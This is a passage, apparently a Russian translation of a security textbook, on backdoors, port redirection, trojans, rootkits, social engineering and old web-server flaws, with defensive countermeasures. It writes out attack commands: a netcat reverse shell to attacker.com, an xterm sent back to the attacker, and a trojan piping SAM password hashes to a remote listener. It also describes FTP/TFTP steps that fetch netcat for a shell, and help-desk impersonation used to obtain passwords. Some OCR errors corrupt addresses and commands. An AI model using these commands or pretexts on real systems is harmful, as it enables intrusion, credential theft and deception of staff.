Захват командной оболочки с помощью утилиты netcat Если на целевой компьютер можно поместить утилиту netcat, или если она там уже установлена, то можно воспользоваться аналогичным методом. Такой подход мы называем "захват командной оболочки", потому что его суть заключается в том, что на своем рабочем компьютере взломщик получает в полное распоряжение все функциональные возможности удаленной командной оболочки. Рассмотрим пример, когда в удаленной командной строке запускается следующая команда. nс attacker.com 80 | cmd.exe | nс attacker.com 25 Если хакер на своем компьютере attacker.com с помощью утилиты netcat осуществляет прослушивание TCP-портов 80 и 25 и при этом порт 80 разрешает передачу входящих, а порт 25 — исходящих пакетов для компьютера-жертвы через брандмауэр, то эта команда позволяет "захватить" командную оболочку удаленной системы. На рис. 14.3 показан экран компьютера взломщика, где в верхнем окне на порт 80 передается команда ipconf ig, а результаты ее выполнения направляются в порт 25 и отображаются в нижнем окне.
datapipe Реализация перенаправления портов с помощью утилиты netcat и ручная настройка этого процесса может оказаться довольно хлопотным делом. В Internet можно найти несколько программ, которые предназначены специально для этих целей. В системе UNIX очень популярна утилита datapipe. С ее помощью взломщик может обеспечить перенаправление данных так, чтобы пакеты принимались через порт 65000 и переадресовывались в систему NT (порт 139). Далее, на своем компьютере злоумышленник может настроить систему для выполнения прямо противоположных действий: запустить утилиту datapipe для прослушивания порта 139 и перенаправления сообщений на порт 65000 целевой системы. Например, для нападения на систему NT (172. 29.11.100), расположенную позади брандмауэра, на взломанном узле (172.29.11.2) нужно выполнить следующую команду. datapipe 65000 139 172.29.11.100 Затем на собственном компьютере взломщику необходимо запустить утилиту datapipe для прослушивания порта 139 и пересылки полученных данных на порт 65000 взломанного узла. datapipe 139 65000 172.29.11.2 Теперь через брандмауэр открыт доступ к системе NT (172.23.11. ICO). На рис. 14.4 показан пример реализации перенаправления портов и продемонстрирована эффективность этого метода. С помощью такого подхода можно обойти брандмауэры с фильтрацией пакетов, пропускающие сообщения, предназначенные для портов с большими номерами. rinetd Утилита rinetd — это "сервер перенаправления Internet", созданный Томасом Бутеллом (Thomas Boutell). Эта программа перенаправляет соединения TCP с одного IP-адреса и порта на другой. Таким образом, она. во многом похожа на программу datapipe. Программа работает как на базе интерфейса Win32 (включая Windows 2000), так и в системе Linux УТН..ПГ rinetd очень легко использовать: нужно просто создать конфигурационный файл, в котором указывается правило перенаправления. Этот файл имеет следующий формат адрес_привязки порт_прмвязки адрес_соединения порт_соединения Запустить программу можно с помощью команды rinetd -с <имя_конфигурационного_файла>. Так же как и datapipe, эта утилита может оказаться очень эффективной против неправильно настроенного брандмауэра. fpipe Утилита fpipe предназначена для передачи/перенаправления данных с порта TCP. Ее разработали авторы этой книги, занимающие ключевые позиции в компании Foundstone, Inc. Эта программа создает поток TCP. исходящий из выбранного пользователем порта. Она прекрасно подходит для перенаправления, представленного на рис. 14.4, и в системе Windows может послужить равноценной заменой программы datapipe, применимой только к UNIX.
Пользователи должны знать, что, если при задании порта-источника исходящего соединения был использован параметр -в и это соединение было закрыто, может оказаться невозможным установить его повторно (утилита fpipe сообщит, что адрес уже используется) до того момента, пока не истекут интервалы ожидания TIME_WAIT и CLOSE_WAIT, определяемые протоколом TCP. Эти интервалы ожидания могут варьироваться в диапазоне от 30 секунд до четырех минут и более, в зависимости от используемой версии операционной системы и ее версии. Эти интервалы ожидания определяются протоколом TCP и не являются ограничением самой утилиты fpipe. Причина возникновения такой ситуации заключается в том, что утилита fpipe пытается установить новое соединение с удаленным узлом с применением тех же комбинаций локальных IР-адреса/порта и удаленных IP-адреса/порта, что и в предыдущем сеансе. Новое же соединение не может быть установлено до тех пор, пока стеком протоколов TCP не будет решено, что предыдущее соединение не было полностью завершено.
VNC Рассмотренные ранее средства удаленного управления предоставляют возможность практически полного контроля над системой. Поэтому при одной только мысли о возможности получения в свои руки виртуального рабочего стола целевой системы у взломщиков учащается сердцебиение. Программа Virtual Network Computing (VNC) предоставляет именно такие возможности. Кроме того, этот программный продукт легко установить на "захваченной" системе и использовать ее как "потайной ход", обеспечивающий получение доступа впоследствии. Взлом X Windows и других графических терминальных служб На узлах UNIX, на которых не ограничивается исходящий трафик приложения xtenn (TCP 6000). можно модифицировать некоторые из приведенных ранее методов перенаправления портов, чтобы "захватить" окно терминала и перенаправить таким образом оконную командную оболочку обратно на компьютер взломщика. Для этого достаточно запустить Х-сервер, а затем ввести следующую команду. xterrn -display attacker.соm:0.О& С системой Windows придется повозиться немного больше. Не остается ничего другого, как воспользоваться такими продуктами, как Windows Terminal Server или Independent Computing Architecture (ICA) компании Citrix (http://www.citrix.com). С помощью этих компонентов можно организовать конвейер, связывающий удаленный рабочий стол с компьютером взломщика. В отличие от системы NT4, в Windows 2000 терминальный сервер является встроенным компонентом, который входит в комплект поставки. Так что почти наверняка он окажется доступным. Чтобы определить, установлены ли на взломанном удаленном узле терминальные службы, можно воспользоваться утилитой sclist из набора NTRK. После этого с помощью привилегированной учетной записи нужно установить соединение. Ниже показан пример использования утилиты sciist (для краткости полученный листинг сокращен). D:\Toclbox>sclist athena Если оказалось, что на удаленном узле установлены также средства Terminal Services Licensing, то его можно настроить для работы в режиме сервера приложений, а не в режиме сервера удаленного управления. Это может принести взломщику определенную выгоду (компания Microsoft советует устанавливать сервер лицензирования и терминальный сервер на разные компьютеры). Общие контрмеры против "потайных ходов": профилактический осмотр Вы познакомились с многочисленными средствами и методами, к которым прибегают взломщики для создания "потайных ходов". Как же администратор может обнаружить и нейтрализовать оставленные взломщиками следы? Средства автоматизации Как говорится, легче предотвратить, чем обезвредить. Многие современные коммерческие антивирусные программные продукты неплохо работают, автоматически сканируя систему в поисках таких программ. Зачастую они нейтрализуют опасность еще до того, как будет причинен реальный вред (например, до получения доступа к дисководу для гибких дисков или до загрузки вложения электронного сообщения). Достаточно полный перечень производителей антивирусных программ можно найти в статье Q49500 базы знаний компании Microsoft по адресу http://support.microsoft.com/support/ kb/articles/Q49/5/00.ASP. Ведение учета Предположим, что все принятые меры предосторожности не помогли и система все же оказалась взломанной. В такой ситуации единственным оружием против почти всех описанных ранее приемов создания "потайных ходов" является бдительность. Со стороны администратора было бы разумным вести всесторонний учет состояния системы и продумать, где можно быстро разместить надежные данные для восстановления системы. Мы настоятельно рекомендуем выполнять инвентаризацию наиболее важных систем, регистрируя данные как о начальной установке, так и о каждом их обновлении. Кто прослушивает порты Возможно, это очевидно, но никогда не стоит недооценивать мощь утилиты netstat. которая позволяет выявить факт прослушивания портов программами, которые аналогичны рассмотренным выше. Следующий пример демонстрирует полезность этого инструмента (для краткости приводится не весь листинг). D:\Toolbox>netstat-an Интересно, догадается ли читатель, что в приведенном фрагменте не согласуется с изложенными выше фактами? D:\Toolbox>fport Из приведенного листинга видно, что порт с номером 2222 прослушивается утилитой netcat. А при использовании программы netstat можно было бы узнать только номер прослушиваемого порта. Удаление подозрительных процессов Еще одна возможность выявления "потайного хода" заключается в проверке списка процессов на наличие в нем таких исполняемых файлов, как nc, WinVNC. exe и т.д. Для этого в системе NT можно использовать утилиту pulist из набора NTRK, которая выводит все запущенные процессы, или sclist, показывающую работающие службы. Таблица 14.1. Номера портов, используемые программами и удаленного управления при создании "потайных ходов"
Команды pulist и sclist просты в использовании. Их удобно применять в файлах сценариев для автоматизации процесса тестирования как на локальной системе, так и в сети. В качестве примера приведем список процессов, выводимый программой pulist. С:\nt\ew>pulist В следующем примере с помощью утилиты sclist был получен список работающих на удаленном узле служб. C:\nt\ew>sclist \\172.29.11.191 В системе UNIX для аналогичных целей можно использовать команду ps. В каждой версии UNIX имеются свои особенности использования этой команды. В Linux она выглядит как ps -aux, а в Solaris — ps -ef. Эти команды могут и должны быть применены при создании сценариев, служащих для получения отчета об изменениях в списке активных процессов. В число других замечательных инструментов системы UNIX, позволяющих получить соответствие между службами и запущенными процессами, входят программы Isof , которую можно применять в большинстве версий, и sockstat для FreeBSD. Вот пример результатов работы этих утилит. [crush] lsof -i Конечно же, поскольку большинство из рассмотренных выше программ может быть переименовано, без инвентаризации системы и приложений как при их начальной установке, так и при последующих обновлениях, "потайной ход" будет трудно обнаружить (нам кажется, что об этом говорилось уже достаточно). Отслеживание изменений файловой системы Для перегруженных работой администраторов сама мысль о регулярном обновлении полного списка файлов и каталогов может показаться безумной, поскольку это требует намного больших затрат, чем все предыдущие рекомендации. В то же время, если состояние системы изменяется не очень часто, такой учет является самым надежным методом выявления следов злоумышленников. D:\Toolbox>md5sum d:\test.txt>d:\test.md5 К сожалению, программа MDSsum одновременно обрабатывает только один файл (конечно, написав сценарий, это можно исправить). В число более эффективных средств выявления вторжений в файловую систему входит старая программа Tripwire, которую можно найти по адресу http://www.tripwire.com. Таблица 1 4.2. Используемые пo умолчанию имена исполняемых файлов утилит удаленногоуправления
Загрузочный файл и параметры системного реестра Взломщикам было бы неинтересно создавать "потайной ход", если бы после обычной перезагрузки системы или после удаления администратором какой-нибудь необходимой службы, они не имели бы возможности возобновить соединение. Это можно обеспечить, поместив в основных конфигурационных файлах или в системном реестре ссылки на средства создания "потайного хода". Фактически для функционирования многих из упомянутых программ требуется наличие в системном реестре определенных параметров, что значительно облегчает их идентификацию и удаление. Аудит, проверка учетных записей и ведение журналов регистрации Это последняя по порядку, но не по степени важности, контрмера, поскольку невозможно идентифицировать вторжение, если не активизированы средства оповещения. Убедитесь, что подключены встроенные возможности аудита. Например, в NT политику аудита можно настроить с помощью диспетчера пользователей, а в 2000 — с использованием аплета Security Policy. To же самое можно осуществить с помощью утилиты auditpol из набора NTRK. Файловая система NTFS позволяет отслеживать доступ на уровне отдельных файлов. Для этого в окне проводника Windows щелкните правой кнопкой мыши на требуемой папке или на файле, выберите команду Properties, перейдите во вкладку Security, щелкните на кнопке Auditing и настройте нужные параметры. Известно, что в системе NT4 ведение полного аудита приводит к снижению производительности, поэтому многие не пользовались этой возможностью. Однако тестирование Windows 2000 показало, что в этой операционной системе в режиме аудита потребление ресурсов значительно снижено и замедление ее работы неощутимо даже при использовании всех предоставляемых возможностей. Конечно, если журнал регистрации не просматривается регулярно, если его содержимое удаляется из-за недостатка свободного пространства на диске или из-за плохой организации, то даже самый полный аудит окажется бесполезным. Однажды мы посетили Web-узел, который был предупрежден об атаке еще за два месяца до ее реализации. И это случилось только благодаря тому, что некоторые системные администраторы старательно вели журналы регистрации. Чтобы не потерять такую важную информацию, разработайте политику регулярного архивирования журналов регистрации. Многие компании регулярно импортируют их в базы данных, чтобы облегчить процесс поиска и автоматизировать систему оповещения об опасности. |
Программы типа "троянский конь" Как уже упоминалось во введении, "троянский конь" — это программа, которая для вида выполняет какие-нибудь полезные действия, однако на самом деле предназначена совсем для других (зачастую злонамеренных) действий или скрытно устанавливает коварные или разрушительные программы. Многие из рассмотренных выше средств создания "потайных ходов" могут быть помещены во внешне безобидные пакеты, так что конечные пользователи даже не смогут догадаться о том, насколько опасные программы установлены на их компьютерах. В качестве другого примера можно привести коварную программу, маскирующуюся под файл netstat. Эта программа, в отличие от настоящей утилиты netstat, намеренно не показывает некоторые прослушиваемые порты, тем самым скрывая наличие "потайного хода". Ниже вы познакомитесь еще с несколькими примерами программ типа "троянский конь", таких как FPWNCLNT. DLL и "наборы отмычек".
BoSniffer Что может быть лучше, чем инфицирование какой-нибудь системы с помощью программы, предназначенной для поиска "потайных ходов"? Утилита BoSniffer, которая вроде бы призвана выявлять Back Orifice, на самом деле является замаскированной ВО. Так что соблюдайте осторожность при использовании подобных бесплатных средств... К счастью, эту программу можно удалить точно так же, как и обычный сервер ВО (см. разделы выше). eLiTeWrap Очень популярной программой типа "троянский конь" является eLiTeWrap. Она предназначена для "упаковки" многочисленных файлов в один исполняемый файл и последующей их распаковки либо запуска на удаленном узле. Как видно из следующего примера, в такую "обертку" можно поместить также сценарии, что позволяет взломщикам реализовать неповторимые атаки. С:\nt\ew>elitewrap Теперь в распоряжении взломщика появился файл с именем bad.exe. При запуске из него будут извлечены утилиты pwdump.exe, netcat (nc.exe), а затем запустится командный файл attack.bat, в котором содержится простая команда, например pwdump i nc.exe -n 192.168.1.1 3000. В результате база данных SAM системы NT попадет на компьютер взломщика (192 .168 .1.1, на котором утилиту netcat следует настроить на прослушивание порта 3000). С:\nt\ew>find "eLiTeWrap" bad.exe Ключевое слово "eLiTeWrap" может измениться, поэтому при выявлении программы eLiTeWrap не следует полностью полагаться на этот признак.
Библиотека FPWNCLNT . DLL для Windows NT Одна из тайных задач программ типа "троянский конь" состоит в их маскировке под системный компонент регистрации в системе и захвате имен/паролей пользователей. Одним из примеров реализации такого подхода является библиотека FPNWCLNT.DLL, устанавливаемая на серверы NT, на которых требуется выполнять синхронизацию паролей с системами Novell NetWare. Эта библиотека перехватывает изменения паролей перед тем, как они будут зашифрованы и записаны в базу данных SAM, что позволяет службам NetWare получить пароли в удобочитаемом виде, обеспечивая тем самым единую форму регистрации. Контрмеры Если нет необходимости в синхронизации паролей между системами NT и NetWare, удалите файл FPNWCLNT.DLL из каталога %systemroot*\system32. Следует проверить также поддерево системного реестра HKEY_LOCAL_MACKINE\SYSTEM\CurrentControlSet\ Control\Lsa\Notificaion Packages (REG_MULTI_SZ) и удалить из него строку FPNWCLNT. Если эта динамически подключаемая библиотека все же необходима для работы в смешанной среде, сравните атрибуты используемого файла с атрибутами его проверенной копии (например, содержащейся на установочном компакт-диске) и убедитесь, что это исходная версия компании Microsoft. Если возникли какие-то сомнения, лучше восстановить данный файл с проверенного носителя. |
Разрушение системного окружения: "наборы отмычек" и средства создания образа состояния системы До сих пор речь шла о многочисленных способах размещения в системе скрытых ловушек, чтобы обычные пользователи даже и не догадывались о том, что же происходит на самом деле. Многие представленные концепции касались средств, работающих под видом обычных программ (несмотря на зловредность выполняемых ими действий), которые скрывались в таких местах, где их легко найти. К сожалению, взломщики способны на более зловредные поступки, в чем вы очень скоро убедитесь. Из-за того, что профессиональное знание архитектуры операционных систем в настоящее время стало нормой, полное нарушение целостности системы становится тривиальной задачей. "Наборы отмычек" Что произойдет, если под контролем взломщика окажется сам код операционной системы? Предпосылки такого подхода появились еще в те времена, когда компиляция ядра UNIX иногда выполнялась еженедельно, если система плохо была настроена или находилась на началъном этапе установки. Естественно, что наборы программ, которые вместо обычных двоичных файлов операционной системы встраивают компоненты типа "троянский конь", получили название "наборов отмычек". Такие средства обеспечивают самую большую дискредитацию взламываемого компьютера. В главе 8 были описаны "наборы отмычек", предназначенные для системы UNIX, которые обычно состоят из четырех групп инструментов, адаптированных под конкретную платформу и версию операционной системы: (1) программы типа "троянский конь", например такие, как измененные версии login, netstat и ps; (2) программы, предназначенные для создания "потайных ходов", например вставки в файл inetd; (3) программы перехвата потока данных в сети; (4) программы очистки системных журналов. Контрмеры против "наборов отмычек" Если оказалось, что нельзя доверять даже командам Is или dir, значит, пришло время признать себя побежденным: создайте резервные копии важных данных (но только не двоичных файлов!), удалите все программное обеспечение, а затем переустановите его с проверенных носителей. Не следует особо надеяться на резервные копии, поскольку абсолютно неизвестно, когда именно взломщик пробрался в систему. После восстановления программное обеспечение также может оказаться "троянизированным". net start_root_ net stop_root_ He упускайте из вида такие наиболее опасные компоненты "наборов отмычек", как программы-анализаторы сетевых пакетов. Эти средства перехвата данных обладают особым коварством, поскольку способны "на лету" перехватывать сетевой трафик в процессе выполнения обычных операций. Создание образа системного окружения для нейтрализации механизма проверки контрольных сумм Существует несколько средств для создания зеркального образа системных томов (табл. 14.3). Эти мощные утилиты помогают сэкономить время и при возникновении внештатной ситуации могут оказаться просто незаменимыми. Однако их побитовая точность фиксирования состояния системы может быть использована для того, чтобы обвести вокруг пальца механизмы обеспечения безопасности, основанные на проверке контрольных сумм текущих системных данных. Таблица 14.3. Некоторые технологии копирования состояния системы и связанные с ними программные продукты
Контрмеры Физическая безопасность всегда должна быть во главе списка защитных мероприятий любой информационной системы. Двери с надежными замками могут предотвратить атаки, направленные на копирование или клонирование системных данных. |
Социальная инженерия Последний раздел этой главы посвящен методу, наводящему наибольший ужас на тех, кто отвечает за сохранность информации,— социальной инженерии (social engineering). Хотя этот термин прочно закрепился в хакерском жаргоне, обозначая метод убеждения и/или обмана сотрудников какой-либо компании для получения доступа к ее информационным системам, мы считаем его неудачным. Такие приемы обычно применяются в процессе обычного человеческого общения или при других видах взаимодействия. В качестве технических средств обычно выбирается телефон, но попытка наладить общение может быть предпринята и через электронную почту, коммерческие каналы телевидения или другие самые разнообразные способы, позволяющие вызвать нужную реакцию. Успешному взлому с применением социальной инженерии, как правило, предшествуют следующие стандартные подходы. Необразованный пользователь и "справочный стол" Однажды авторы, проявив достаточную настойчивость, просмотрели списки контактных данных сотрудников компании, адреса электронной почты и номера телефонов внутренней телефонной сети одной компании. Все это оказалось возможным благодаря обращению к "справочному столу" этой компании. "Справочный стол" и растерянный пользователь В предыдущем примере было интересно наблюдать за тем, какое гипнотизирующее влияние маска руководителя оказала на стоящих на более низком уровне сотрудников "справочного стола". Однако в некоторых компаниях, где технические знания персонала "справочного стола" дают им возможность получать от сотрудников любую информацию, этот метод можно применить несколько по-другому и добыть сведения от ничего не подозревающих пользователей. Однажды, найдя на одном из Web-узлов список внутренних телефонов компании и представляясь работником отдела внутренней технической поддержки, авторы начали обзванивать сотрудников, выбирая телефоны случайным образом. Таким образом удалось получить информацию об именах пользователей и паролях доступа к внутренним файлам, а также некоторые общие сведения о локатьной сети. Эту информацию предоставляли 25% из тех, кому звонили. Выдавая себя либо за директора отдела информационных технологий, либо за сотрудника группы технической поддержки можно с высокой эффективностью извлекать необходимые данные. Контрмеры В этой главе описаны самые разнообразные атаки. Некоторые из них выглядят безграничными в своих проявлениях, и кажется, что их очень трудно предотвратить (например, поиск информации в открытых источниках Internet). Хотя противодействовать всем атакам с применением социальной инженерии почти невозможно, мы постарались все же сформулировать некоторые рекомендации, которые могут оказаться эффективными.
|
Резюме В этой главе вы познакомились со способами захвата соединений TCP в сети с множественным доступом, а также с тем, как взломщики могут получить доступ к системе,, передавая команды для локального выполнения или путем перехвата соединения. Эти типы атак очень просто реализовать в сетях с множественным доступом и так же просто предотвратить при переходе к сети с коммутацией пакетов.
И наконец, вы узнали о социальной инженерии и ее возможностях по нарушению системы обеспечения безопасности организации. Как сказано в документе RFC 2504, "Паранойя — это очень хорошо". Убедитесь, что каждый, кто работает с важными данными, осознает свою ответственность. |
Глава 15. УЯЗВИМОСТЬ В WEB
|
Уязвимость в WEB Тысячи компаний осознали, что всемирная паутина Web является мощным средством распространения информации, расширения торговли, улучшения качества обслуживания и поддержки постоянного контакта с заказчиками и клиентами. И хотя большинство организаций для защиты своих интересов и вложений предусмотрительно использует фильтрующие маршрутизаторы, брандмауэры и системы выявления вторжений, когда речь заходит об изъянах Web, многие из этих мер предосторожности могут оказаться бесполезными. Почему? Большинство из обсуждаемых в этой главе атак реализуется через порты Web (80, 81, 443, 8000, 8001, 8080 и т.д.). Хотя их не так много, обычно они открывают доступ в сегмент сети, доступный из Internet. Некоторые читатели, дочитавшие главу до конца, удивятся, узнав, каким грозным орудием может оказаться Web-броузер в руках взломщика. |
Воровство в Web В главе 1 описан предварительный сбор данных, позволяющий получить максимально полную информацию об отдельном узле или обо всей сети в целом. Воровство в Web преследует практически ту же цель. В поисках информации взломщики вручную просматривают Web-страницы, стараясь найти недостатки в коде, зацепки в комментариях и дизайне. В этом разделе приведено несколько способов такого сбора информации о Web-сервере. В число этих методов входит последовательный просмотр страниц вручную, применение сценариев автоматизации и коммерческих программ. Последовательный просмотр страниц Один из давно известных способов получения данных заключался в прохождении всего Web-узла вручную, просматривая в броузере исходный код каждой страницы. В документах HTML можно найти огромное количество информации, включая ценные комментарии, адресованные другим разработчикам, адреса электронной почты, номера телефонов, программы JavaScript и многое другое. Например, задав в броузере адрес какого-нибудь сервера и выбрав команду View^Page Source, можно увидеть исходный код HTML (рис. 15.1).
Упрощай! К крупным Web-узлам (содержащим более 30 страниц) большинство взломщиков применяют автоматизированный подход, используя специальные сценарии или утилиты. Сценарии можно писать на различных языках, однако авторы отдают предпочтение языку Perl. С помощью несложных программ на этом языке можно перемещаться по Web-серверу, осуществляя поиск определенных ключевых слов.
Эта программа позволяет задавать также слова, которые необходимо найти. Контрмеры против воровства в Web 1. Регулярно анализируйте содержимое журналов регистрации и следите за повышением количества запросов GET, поступающих из одного и того же источника. |
Поиск известных изъянов Как всегда, особое внимание следует уделять очевидным брешам в системе защиты. Это необходимо в основном потому, что и хакеры обращают на них внимание в первую очередь. Несколько разрушительных изъянов Web существует до сих пор, хотя о них стало широко известно еще несколько лет назад. Отличительной особенностью атак этого типа является то, что многие из них легко обнаружить. Сценарии автоматизации, применяемые новичками В данный момент как никогда уместна фраза "Пусть друзья будут рядом, а враги — еще ближе". Используемые в основном начинающими взломщиками, сканирующие сценарии (чаще всего написанные известными хакерами) зачастую могут помочь в обнаружении некоторых известных изъянов. Многие средства поиска таких брешей можно найти на Web-узле компании Technotronic (www.technotronic.com). Phfscan.c Изъян PHF (более подробно описанный ниже) был одной из первых применяемых для взлома брешей в сценариях Web-серверов. Этот изъян позволяет взломщику локально запускать любую команду, как если бы он был пользователем Web-сервера. Часто это приводит к тому, что файл паролей /etc/passwd оказывается загруженным на компьютер взломщика. В выявлении такого изъяна как администратору, так и хакеру, может помочь несколько программ и сценариев. Программа pfhscan.c является одной из наиболее популярных. Перед использованием ее нужно откомпилировать (gcc phfscan.c -о phfscan), подготовить список узлов, которые нужно просканировать (для создания такого списка подойдет утилита gping), назвать файл со сгенерированным списком host.phf и поместить его в один каталог с программой. После запуска двоичного файла (phfscan) программа начнет выдавать предупреждения о найденных уязвимых серверах. cgiscan.c cgiscan — это удобная небольшая утилита, созданная в 1998 году Бронком Бастером (Bronc Buster). Она предназначена для сканирования узлов и поиска среди них тех, которые подвержены старым изъянам, таким как PHF, count, cgi, test-cgi, PHP, handler, webdist.cgi, nph-test-cgi и многих других. Программа осуществляет поиск уязвимых сценариев в тех каталогах, где они обычно находятся, и пытается ими воспользоваться. Результат работы утилиты выглядит примерно следующим образом. [root@funbox-b ch!4]# cgiscan www.somedomain.com В Internet можно найти десятки сценариев, предназначенных для сканирования. На узле http://www.hackingexposed.com/ содержатся ссылки на самые популярные Web-узлы, на которых содержится самая разнообразная информация по вопросам безопасности. |
Приложения автоматизации В Internet можно найти несколько приложений, предназначенных для автоматизированного поиска хорошо известных изъянов или тех из них, которые становятся доступными при использовании в процессе установки программного обеспечения параметров, предлагаемых по умолчанию. В отличие от сценариев, эти средства используются вручную. Это не позволяет использовать их в больших корпоративных сетях, зато они успешно применяются в малых сетях и на серверах, на которые нужно обратить более пристальное внимание. Grinder Программа Grinder версии 1.1 (http://hackersclub.com/km/files/hfiles/ rhino9/grinderll .zip), поддерживает интерфейс Win32 и позволяет сканировать IP-адреса из заданного диапазона. Результатом ее работы является отчет, в котором содержится название и версия Web-сервера. Это ничем не отличается от применения обычной команды HEAD (например, утилиты netcat), однако в процессе сканирования программой Grinder создается несколько параллельных сокетов, поэтому она работает намного быстрее. На рис. 15.3 показано, как Grinder выполняет сканирование и определяет версии Web-серверов.
После завершения работы сканера будет создан файл, содержащий отчет о версии Web-сервера. 172.29.11.82 port 80: Server: Microsoft-IIS/4.0
SiteScan Программа' SiteScan, написанная Хамелеоном (Chameleon) из групп Rhino9 и InterCore, позволяет выполнить более глубокое исследование, чем Grinder, проверяя наличие таких определенных изъянов, как PHF, PHP, finger, test.cgi и другие. Это графическое приложение Win32 за один раз может исследовать только один IP-адрес, поэтому ее нельзя включать в сценарии. Придется каждый раз вручную вводить IP-адрес и просматривать полученный результат. |
Несоответствие сценариев требованиям безопасности: взлом при отсутствии проверки ввода Причиной взлома при отсутствии проверки ввода с использованием общего интерфейса шлюза (CGI — Common Gateway Interface), активных страниц сервера (ASP — Active Server Pages) и языка разметки CFML (Cold Fusion Markup Language), является промах либо разработчика, либо поставщика программного обеспечения. Основная проблема возникает из-за недостаточной обработки входных данных некоторого сценария. Если не позаботиться о проверке достоверности и последующей очистке входных данных, взломщик сможет передать сценарию нужный символ, скажем, локальную команду, в качестве параметра и таким образом локально запустить эту команду на Web-сервере. Изъян MDAC RDS IIS 4.0 Вскоре после того, как компания Microsoft справилась с проблемой, вызванной программой iishack, работа которой приводила к переполнению буфера сервера IIS (это произошло в июне 1999 года), в июле ей пришлось столкнуться с другой проблемой, связанной с Web-сервером. Данная проблема была описана в бюллетене компании Microsoft, посвященном вопросам безопасности, еще в 1998 году, но стала известна широкой общественности лишь в последнее время. Этот изъян возникает из-за недостатка одного из компонентов Microsoft доступа к данным (MDAC — Microsoft Data Access Components) службы RDS (Remote Data Service), который позволяет взломщику запускать любые команды на уязвимом сервере. #!/usr/bin/perl При использовании параметра -n команды netcat требуется, чтобы в командной строке явно указывался IP-адрес "Анатомия" атаки Сценарий Perl можно найти на многих Web-узлах, в том числе в архиве NTBugtraq (http://www.ntbugtraq.com) или на узле компании Security Focus (http://www.securityfocus.com). Он работает одинаково эффективно как в системе UNIX, так и в NT, и предпринимает попытку установить связь с компонентами MDAC, чтобы добавить в запрос SQL строку | shell ($command) |. Когда компонент MDAC достигает команды shell, выполняется команда, заданная в переменной $ command. Для того чтобы убедиться в наличии описанной возможности, попробуйте запустить команду со следующим синтаксисом. C:\>perl mdac_exploit.pl -h 192.168.50.11 Разработка корректной команды для системы NT — непростая задача. Сомил Шах (Somil Shah) и Нитеш Даньяни (Nitesh Dhanjani) вместе с Джорджем Куртцом (George Kurtz) разработали интересную последовательность команд, которые можно загрузить с помощью TFTP или по FTP. В результате будет загружена и запущена утилита netcat, возвращающая обратно командную оболочку системы NT (cmd.exe). Например, с использованием средств FTP можно воспользоваться следующей последовательностью команд, "cd SystemRoot £& echo $ftp_user>ftptmp При использовании TFTP аналогичные команды будут выглядеть следующим образом, "cd\%SystemRoot\% Применение этих команд в сценарии Perl позволит вернуть командную оболочку удаленной системы, с помощью которой можно будет загрузить любое количество файлов, включая утилиту pwdump.exe (позволяющую получить хэш-коды из базы данных SAM), а затем приступить к взлому с применением утилит L0phtcrack или John vl.6. Если команда оказалась неработоспособной, то, не исключено, что на пути к порту TCP (FTP) с номером 21 или порту UDP (TFTP, 69) целевой системы находится маршрутизатор или брандмауэр. Контрмеры: защита компонентов МDАС службы RDS Для того чтобы предотвратить такие атаки, либо удалите все файлы, используемые в этом случае, либо измените конфигурационные параметры сервера. Изъяны CGI По-видимому, после переполнения буфера плохо написанные сценарии CGI являются наиболее опасными изъянами в Internet. В электронном мире еще можно найти Web-серверы, разработчики которых экономили время на программировании, а после того, как взломщик пробрался на сервер и навел там свои порядки, пожалели о своей спешке. В этом разделе описано несколько наиболее популярных изъянов сценариев CGI, а также последствия, к которым приводит их использование. Сценарии PHF Возможно, одним из наиболее старых и в наши дни редко встречающихся изъянов является сценарий PHF, который изначально применялся на серверах HTTPD центра NCSA (версия 1.5А-Export или более ранние) и сервера Apache (версии 1.0.3). Эта программа CGI является примером сценария, обеспечивающего интерфейс в виде форм, который можно использовать для поиска имен и адресов в адресной книге. Из-за того что в этом сценарии для проверки входных данных используется функция escape_shell_cmd(), он оказывается уязвимым для широко распространенной атаки, при которой обманным путем удается локально запускать команды. Символ новой строки (0х0а в шестнадцатеричной системе счисления) не проверяется при контроле правильности входных данных. Поэтому он может быть использован для прерывания выполнения сценария и запуска любой команды, указанной после этого символа, в локальном контексте Web-сервера. Например, введение следующего адреса URL приведет к извлечению файла паролей, если пользователь, запустивший Web-сервер, обладает правами доступа к этому файлу. Контрмеры: защита сценариев РНР Предотвращение Лучше всего удалите этот сценарий с Web-сервера. Скорее всего, на рабочем сервере такой сценарий не требуется. Обнаружение Средства обнаружения атак, направленных на использование изъяна PHF, встроены почти в каждую бесплатную или коммерческую систему выявления вторжений, так что в этом случае решить проблему безопасности будет несложно. С помощью программы phfprobe.pl можно привлечь взломщиков к своему Web-узлу и зафиксировать выполняемые ими действия. В процессе анализа полученных данных можно лучше продумать стратегию защиты. Данная программа Perl служит в качестве приманки, имитирующей сценарий PHF. Она отправляет взломщикам такие ответные сообщения, как будто предпринимаемые ими действия выполняются успешно. На самом же деле осуществляется сбор информации о взломщиках и их тактике. Эту ловушку следует применять только при полной уверенности в надежности системы.
Изъяны CGI системы Irix Первое сообщение об изъяне CGI системы Irix появилось в 1997 году в бюллетене Bugtraq. Новость опубликовал Разван Драгомиреску (Razvan Dragomirescu). Он обнаружил, что в состав подсистемы Outbox Environment многих систем Irix входит несколько программ, уязвимых для взлома при отсутствии проверки ввода. Сценарий webdist.cgi, а также сценарии-оболочки систем Irix 5.x и 6.x позволяют взломщикам передавать локальные команды и запускать их на удаленном узле. Контрмеры против использования изъянов CGI систем Irix Как и раньше, если сценарий не применяется, лучше всего удалить его из системы и тем самым предотвратить возможность использования его изъянов. Если же удалить сценарий невозможно, воспользуйтесь модулем обновления SGI, который можно найти по адресу http://www.sgi.com/support/patch_intro.html. test-cgi Впервые об этом изъяне широкой общественности сообщила группа L0pht в 1996 году. С его использованием взломщик может удаленно получать информацию о файлах, которые имеются на целевом узле. Например, используя следующий URL, взломщик может просмотреть список всех файлов и каталогов, которые содержатся в каталоге сценариев (egi -bin). http://192.168.51.101/cgi-bin/test-cgi?* В результате на экран будет выведено значение переменной окружения QUERY_STRING. QUERY_STRING = count.cgi createuser.pl nph-test-cgi phf php.cgi Конечно же, получение перечня имеющихся в системе сценариев поможет взломщику найти другие слабые места, через которые можно будет получить доступ к Web-серверу, например PHF, PHP и т.д. Эта информация откроет взломщику доступ к удаленному узлу с правами пользователя или даже суперпользователя, а впоследствии он добьется контроля над всей системой UNIX. Контрмеры против использования изъянов ССI Если обычное решение проблемы (удаление сценария) по каким-либо причинам реализовать нельзя, стоит обратиться к некоторым ресурсам Internet, в которых можно найти советы по безопасному написанию сценариев. |
